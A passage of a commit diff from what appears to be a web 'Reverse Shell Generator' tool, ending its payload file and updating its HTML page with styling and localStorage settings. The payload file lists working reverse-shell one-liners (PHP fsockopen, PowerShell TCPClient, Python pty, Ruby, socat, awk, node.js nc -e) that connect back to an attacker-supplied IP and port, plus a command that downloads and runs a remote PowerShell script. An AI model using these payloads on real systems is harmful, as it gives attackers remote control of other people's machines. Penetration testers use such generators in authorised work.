['PHP shell_exec', 'php -r \'$sock=fsockopen("{ip}",{port});shell_exec("/bin/{shell} -i <&3 >&3 2>&3");\''],
|
|
||||||
['PHP system', 'php -r \'$sock=fsockopen("{ip}",{port});system("/bin/{shell} -i <&3 >&3 2>&3");\''],
|
|
||||||
['PHP passthru', 'php -r \'$sock=fsockopen("{ip}",{port});passthru("/bin/sh -i <&3 >&3 2>&3");\''],
|
|
||||||
['PHP `', 'php -r \'$sock=fsockopen("{ip}",{port});`/bin/sh -i <&3 >&3 2>&3`;\''],
|
|
||||||
['PHP popen', 'php -r \'$sock=fsockopen("{ip}",{port});popen("/bin/sh -i <&3 >&3 2>&3", "r");\''],
|
|
||||||
['Windows ConPty', 'IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell {ip} {port}'],
|
|
||||||
['PowerShell #1', 'powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("{ip}",{port});$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'],
|
|
||||||
['PowerShell #2', 'powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient(\'{ip}\',{port});$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + \'PS \' + (pwd).Path + \'> \';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"'],
|
|
||||||
['PowerShell #3 (Base64)', undefined],
|
|
||||||
['Python #1', 'export RHOST="{ip}";export RPORT={port};python -c \'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/{shell}")\''],
|
|
||||||
['Python #2', 'python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{ip}",{port}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/{shell}")\''],
|
|
||||||
['Ruby #1', 'ruby -rsocket -e\'f=TCPSocket.open("{ip}",{port}).to_i;exec sprintf("/bin/{shell} -i <&%d >&%d 2>&%d",f,f,f)\''],
|
|
||||||
['Ruby no sh', 'ruby -rsocket -e \'exit if fork;c=TCPSocket.new("{ip}","{port}");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end\''],
|
|
||||||
['socat #1', 'socat TCP:{ip}:{port} EXEC:{shell}'],
|
|
||||||
['socat #2 (TTY)', 'socat TCP:{ip}:{port} EXEC:\'bash -li\',pty,stderr,setsid,sigint,sane'],
|
|
||||||
['awk', 'awk \'BEGIN {s = "/inet/tcp/0/10.0.0.1/4242"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}\' /dev/null'],
|
|
||||||
['node.js', 'require(\'child_process\').exec(\'nc -e /bin/{shell} {ip} {port}\')']
|
|
||||||
|
|
||||||
],
|
|
||||||
|
|
||||||
specialCommands: {
|
|
||||||
'PowerShell payload': '$client = New-Object System.Net.Sockets.TCPClient("{ip}",{port});$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
|
|
||||||
}
|
|
||||||
}
|
|
BIN
favicon.ico
Normal file
BIN
favicon.ico
Normal file
Binary file not shown.
After Width: | Height: | Size: 1.4 KiB |
126
index.html
126
index.html
@ -54,11 +54,10 @@
|
|||||||
border: none !important;
|
border: none !important;
|
||||||
border-radius: 5px;
|
border-radius: 5px;
|
||||||
box-shadow: 10px 10px 20px 0px rgba(0, 0, 0, 0.75);
|
box-shadow: 10px 10px 20px 0px rgba(0, 0, 0, 0.75);
|
||||||
background-color: rgb(70, 70, 70) !important
|
background-color: rgb(70, 70, 70)
|
||||||
}
|
}
|
||||||
|
|
||||||
.custom-select {
|
.custom-select {
|
||||||
/* background-color: rgb(169, 169, 172); */
|
|
||||||
background-color: #646464;
|
background-color: #646464;
|
||||||
color: white;
|
color: white;
|
||||||
}
|
}
|
||||||
@ -66,10 +65,10 @@
|
|||||||
.container {
|
.container {
|
||||||
padding: 10px;
|
padding: 10px;
|
||||||
border-radius: 20px;
|
border-radius: 20px;
|
||||||
box-shadow: 10px 10px 20px 0px rgba(0, 0, 0, 0.75);
|
box-shadow: 10px 0px 20px 0px rgba(0, 0, 0, 0.75);
|
||||||
|
max-height: 1000px;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
h1,
|
h1,
|
||||||
h2 {
|
h2 {
|
||||||
text-align: center;
|
text-align: center;
|
||||||
@ -78,12 +77,20 @@
|
|||||||
</head>
|
</head>
|
||||||
|
|
||||||
<body>
|
<body>
|
||||||
|
<!-- TODO: Light/Dark Mode
|
||||||
|
<div class="custom-control custom-switch float-right">
|
||||||
|
<input id="mode-advanced-switch" type="checkbox" class="custom-control-input">
|
||||||
|
<label for="mode-advanced-switch" class="custom-control-label small pr-2 pb-1"
|
||||||
|
style="padding-top:2px" data-toggle="tooltip" title="Toggle Dark Mode">
|
||||||
|
Dark/Light Mode
|
||||||
|
</label>
|
||||||
|
</div> -->
|
||||||
<div class="container d-flex flex-column vh-100">
|
<div class="container d-flex flex-column vh-100">
|
||||||
|
|
||||||
<!-- Header -->
|
<!-- Header -->
|
||||||
<div class="row justify-content-center mt-3 mb-5">
|
<div class="row justify-content-center mt-3 mb-5">
|
||||||
<h2>Reverse Shell Generator</h2>
|
<h2>Reverse Shell Generator</h2>
|
||||||
|
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<div class="row">
|
<div class="row">
|
||||||
@ -152,7 +159,7 @@
|
|||||||
|
|
||||||
<!-- Advanced switch -->
|
<!-- Advanced switch -->
|
||||||
<div class="custom-control custom-switch float-right">
|
<div class="custom-control custom-switch float-right">
|
||||||
<input id="step2-advanced-switch" type="checkbox" class="custom-control-input">
|
<input id="step2-advanced-switch" type="checkbox" class="custom-control-input" checked>
|
||||||
<label for="step2-advanced-switch" class="custom-control-label small pr-2 pb-1"
|
<label for="step2-advanced-switch" class="custom-control-label small pr-2 pb-1"
|
||||||
style="padding-top:2px" data-toggle="tooltip" title="Display advanced settings">
|
style="padding-top:2px" data-toggle="tooltip" title="Display advanced settings">
|
||||||
Advanced
|
Advanced
|
||||||
@ -203,7 +210,7 @@
|
|||||||
|
|
||||||
<!-- Advanced switch -->
|
<!-- Advanced switch -->
|
||||||
<div class="custom-control custom-switch float-right">
|
<div class="custom-control custom-switch float-right">
|
||||||
<input id="step3-advanced-switch" type="checkbox" class="custom-control-input">
|
<input id="step3-advanced-switch" type="checkbox" class="custom-control-input" checked>
|
||||||
<label for="step3-advanced-switch" class="custom-control-label small pr-2 pb-1"
|
<label for="step3-advanced-switch" class="custom-control-label small pr-2 pb-1"
|
||||||
style="padding-top:2px" data-toggle="tooltip" title="Display advanced settings">
|
style="padding-top:2px" data-toggle="tooltip" title="Display advanced settings">
|
||||||
Advanced
|
Advanced
|
||||||
@ -376,7 +383,8 @@
|
|||||||
$('#listener-selection').append($('<option>', {
|
$('#listener-selection').append($('<option>', {
|
||||||
text: type,
|
text: type,
|
||||||
value: command,
|
value: command,
|
||||||
selected: i === 0
|
selected: i === 0,
|
||||||
|
class: 'listener-option',
|
||||||
}))
|
}))
|
||||||
})
|
})
|
||||||
},
|
},
|
||||||
@ -489,22 +497,15 @@
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
/*
|
|
||||||
* Init
|
|
||||||
*/
|
|
||||||
$('#step2-advanced-switch').prop('checked', true)
|
|
||||||
$('#step3-advanced-switch').prop('checked', true)
|
|
||||||
|
|
||||||
/*
|
/*
|
||||||
* Event handlers
|
* Event handlers
|
||||||
*/
|
*/
|
||||||
$('#ip, #port').on('input', rsg.update)
|
$('#shell, #encoding').on('change', rsg.updateReverseShellCommand);
|
||||||
$('#listener-selection').on('change', rsg.updateListenerCommand)
|
|
||||||
$('#shell, #encoding').on('change', rsg.updateReverseShellCommand)
|
|
||||||
|
|
||||||
$('#inc-port').on('click', function () {
|
$('#inc-port').on('click', function () {
|
||||||
$('#port').val(rsg.getPort() + 1)
|
$('#port').val(rsg.getPort() + 1);
|
||||||
rsg.update()
|
rsg.update();
|
||||||
|
setLocalStorage(portInput, "port", "value");
|
||||||
})
|
})
|
||||||
|
|
||||||
$('#step2-advanced-switch, #step3-advanced-switch').on('change', rsg.updateSwitchStates)
|
$('#step2-advanced-switch, #step3-advanced-switch').on('change', rsg.updateSwitchStates)
|
||||||
@ -518,6 +519,93 @@
|
|||||||
rsg.copyToClipboard($('#reverse-shell-command').text())
|
rsg.copyToClipboard($('#reverse-shell-command').text())
|
||||||
})
|
})
|
||||||
|
|
||||||
|
/*
|
||||||
|
* LocalStorage setting/getting
|
||||||
|
*/
|
||||||
|
const listenerSelect = document.querySelector("#listener-selection");
|
||||||
|
const ipInput = document.querySelector("#ip");
|
||||||
|
const portInput = document.querySelector("#port");
|
||||||
|
const autoCopySwitch = document.querySelector("#auto-copy-switch");
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Sets item to localStorage when user moves focus from element
|
||||||
|
* @param {Object} element - The element to get value from
|
||||||
|
* @param {String} key - Key of localStorage value
|
||||||
|
* @param {String} attribute - Attribute of element to set to localStorage value
|
||||||
|
*/
|
||||||
|
const setLocalStorage = (element, key, attribute) => {
|
||||||
|
if (!element || typeof element !== "object") return;
|
||||||
|
localStorage.setItem(key, element[attribute]);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Prepopulates element if localStorage value exists
|
||||||
|
* @param {String} key - Key of localStorage value
|
||||||
|
* @param {Object} element - The element to apply value to
|
||||||
|
* @param {String} attribute - Attribute of element to apply localStorage value to
|
||||||
|
*/
|
||||||
|
const prepopulateElement = (key, element, attribute, options = null) => {
|
||||||
|
if (localStorage.getItem(key)) {
|
||||||
|
// TODO: Use switch/case instead
|
||||||
|
if (element.type === "text") {
|
||||||
|
element[attribute] = localStorage.getItem(key);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (element.type === "checkbox") {
|
||||||
|
const isChecked = (localStorage.getItem(key) !== 'false');
|
||||||
|
element[attribute] = isChecked;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (element.nodeName === "SELECT") {
|
||||||
|
const selectedItem = options.find(option => option[attribute] === localStorage.getItem(key));
|
||||||
|
selectedItem.selected = true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Prepopulating fields on load from localStorage
|
||||||
|
*/
|
||||||
|
// TODO: async/await
|
||||||
|
setTimeout(() => {
|
||||||
|
const listenerOptions = listenerSelect.querySelectorAll(".listener-option");
|
||||||
|
prepopulateElement("listener", listenerSelect, "value", [...listenerOptions]);
|
||||||
|
|
||||||
|
rsg.updateListenerCommand();
|
||||||
|
}, 500);
|
||||||
|
|
||||||
|
prepopulateElement("ip", ipInput, "value");
|
||||||
|
prepopulateElement("port", portInput, "value");
|
||||||
|
prepopulateElement("auto-copy", autoCopySwitch, "checked");
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Event listeners for setting localStorage values
|
||||||
|
*/
|
||||||
|
ipInput.addEventListener("input", () => {
|
||||||
|
setLocalStorage(ipInput, "ip", "value");
|
||||||
|
rsg.update();
|
||||||
|
});
|
||||||
|
|
||||||
|
portInput.addEventListener("input", () => {
|
||||||
|
setLocalStorage(portInput, "port", "value");
|
||||||
|
rsg.update();
|
||||||
|
});
|
||||||
|
|
||||||
|
listenerSelect.addEventListener("change", () => {
|
||||||
|
rsg.updateListenerCommand();
|
||||||
|
|
||||||
|
const listenerOptions = listenerSelect.querySelectorAll(".listener-option");
|
||||||
|
const selectedItem = [...listenerOptions].find(option => option.selected);
|
||||||
|
setLocalStorage(selectedItem, "listener", "value");
|
||||||
|
});
|
||||||
|
|
||||||
|
autoCopySwitch.addEventListener("change", () => {
|
||||||
|
setLocalStorage(autoCopySwitch, "auto-copy", "checked");
|
||||||
|
});
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Init
|
||||||
|
*/
|
||||||
$(document).ready(function () {
|
$(document).ready(function () {
|
||||||
rsg.init()
|
rsg.init()
|
||||||
rsg.update()
|
rsg.update()
|
||||||
|
Loading…
Reference in New Issue
Block a user